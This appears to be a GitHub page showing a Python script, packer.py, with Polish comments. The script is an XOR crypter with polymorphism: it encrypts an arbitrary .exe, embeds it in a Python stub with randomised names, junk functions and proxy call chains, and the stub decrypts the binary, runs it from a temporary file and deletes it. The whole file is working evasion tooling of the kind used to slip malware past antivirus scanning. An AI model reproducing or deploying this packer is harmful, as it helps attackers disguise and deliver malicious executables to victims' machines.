-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpacker.py
More file actions
165 lines (138 loc) · 5.21 KB
/
packer.py
File metadata and controls
165 lines (138 loc) · 5.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# --- code by eddit ---
# --- https://eddit.me ---
import argparse
import base64
import os
import random
import string
import sys
def generate_random_string(length=10):
"""Generuje losowy ciąg znaków."""
letters = string.ascii_letters
return ''.join(random.choice(letters) for _ in range(length))
def xor_cipher(data: bytes, key: bytes) -> bytes:
"""Szyfruje/deszyfruje dane za pomocą klucza XOR."""
key_len = len(key)
return bytes(data[i] ^ key[i % key_len] for i in range(len(data)))
STUB_TEMPLATE = """
import base64
import subprocess
import tempfile
import os
import sys
import time
# --- Losowe funkcje śmieciowe ---
{proxy_functions}
# --- ZASZYFROWANE DANE I KLUCZ ---
B64_PAYLOAD = "{b64_payload}"
B64_KEY = "{b64_key}"
# ------------------------------------
def {xor_func_name}(data: bytes, key: bytes) -> bytes:
key_len = len(key)
return bytes(data[i] ^ key[i % key_len] for i in range(len(data)))
def {main_func_name}():
# Dekoduj dane i klucz z Base64
try:
{payload_var} = base64.b64decode(B64_PAYLOAD)
{key_var} = base64.b64decode(B64_KEY)
except Exception:
return
{decrypted_var} = {xor_func_name}({payload_var}, {key_var})
suffix = ".exe" if sys.platform == "win32" else ""
try:
with tempfile.NamedTemporaryFile(suffix=suffix, delete=False) as {tmp_var}:
{tmp_path_var} = {tmp_var}.name
{tmp_var}.write({decrypted_var})
except Exception:
return
try:
subprocess.Popen([{tmp_path_var}])
except Exception:
pass
finally:
time.sleep(0.5)
if os.path.exists({tmp_path_var}):
try:
os.remove({tmp_path_var})
except Exception:
pass
{proxy_chain}
if __name__ == "__main__":
{entry_point}()
"""
def generate_junk_functions(num_functions=5):
"""Generuje losowe funkcje śmieciowe."""
junk_code = ""
for _ in range(num_functions):
func_name = generate_random_string()
junk_code += f"""
def {func_name}():
# Losowa funkcja bez znaczenia
_ = {random.randint(1, 1000)} * {random.randint(1, 1000)}
"""
return junk_code
def generate_proxy_chain(main_func_name, num_proxies=3):
"""Generuje łańcuch funkcji proxy."""
proxy_code = ""
current_func = main_func_name
for _ in range(num_proxies):
proxy_name = generate_random_string()
proxy_code += f"""
def {proxy_name}():
{current_func}()
"""
current_func = proxy_name
return proxy_code, current_func
def main():
parser = argparse.ArgumentParser(description="Prosty packer XOR z polimorfizmem.")
parser.add_argument("input_file", help="Ścieżka do pliku .exe, który ma zostać spakowany.")
parser.add_argument("-o", "--output", default="packed_stub.py", help="Nazwa wynikowego skryptu Pythona (stuba).")
parser.add_argument("-k", "--key-size", type=int, default=32, help="Rozmiar klucza szyfrującego w bajtach.")
parser.add_argument("--flood", action="store_true", help="Dodaj losowe funkcje śmieciowe.")
parser.add_argument("--proxy", action="store_true", help="Dodaj proxy dla punktu wejścia.")
args = parser.parse_args()
if not os.path.exists(args.input_file):
print(f"BŁĄD: Plik wejściowy '{args.input_file}' nie istnieje.")
return
key = os.urandom(args.key_size)
with open(args.input_file, "rb") as f:
payload = f.read()
encrypted_payload = xor_cipher(payload, key)
b64_payload_str = base64.b64encode(encrypted_payload).decode('utf-8')
b64_key_str = base64.b64encode(key).decode('utf-8')
xor_func_name = generate_random_string()
main_func_name = generate_random_string()
payload_var = generate_random_string()
key_var = generate_random_string()
tmp_var = generate_random_string()
tmp_path_var = generate_random_string()
decrypted_var = generate_random_string() #jebanie w dupe
junk_functions = generate_junk_functions(random.randint(5, 15)) if args.flood else ""
proxy_chain, entry_point = generate_proxy_chain(main_func_name, random.randint(2, 5)) if args.proxy else ("", main_func_name)
stub_code = STUB_TEMPLATE.format(
b64_payload=b64_payload_str,
b64_key=b64_key_str,
xor_func_name=xor_func_name,
main_func_name=main_func_name,
payload_var=payload_var,
key_var=key_var,
tmp_var=tmp_var,
tmp_path_var=tmp_path_var,
decrypted_var=decrypted_var, # add shit keep stron
proxy_functions=junk_functions,
proxy_chain=proxy_chain,
entry_point=entry_point
)
with open(args.output, "w", encoding='utf-8') as f:
f.write(stub_code)
print("--- SUKCES! ---")
print(f"Spakowano plik: '{args.input_file}'")
print(f"Utworzono stub: '{args.output}'")
print(f"Rozmiar klucza: {args.key_size} bajtów")
print(f"Klucz (Base64): {b64_key_str}")
if args.flood:
print("Dodano losowe funkcje śmieciowe.")
if args.proxy:
print("Dodano proxy dla punktu wejścia.")
if __name__ == "__main__":
main()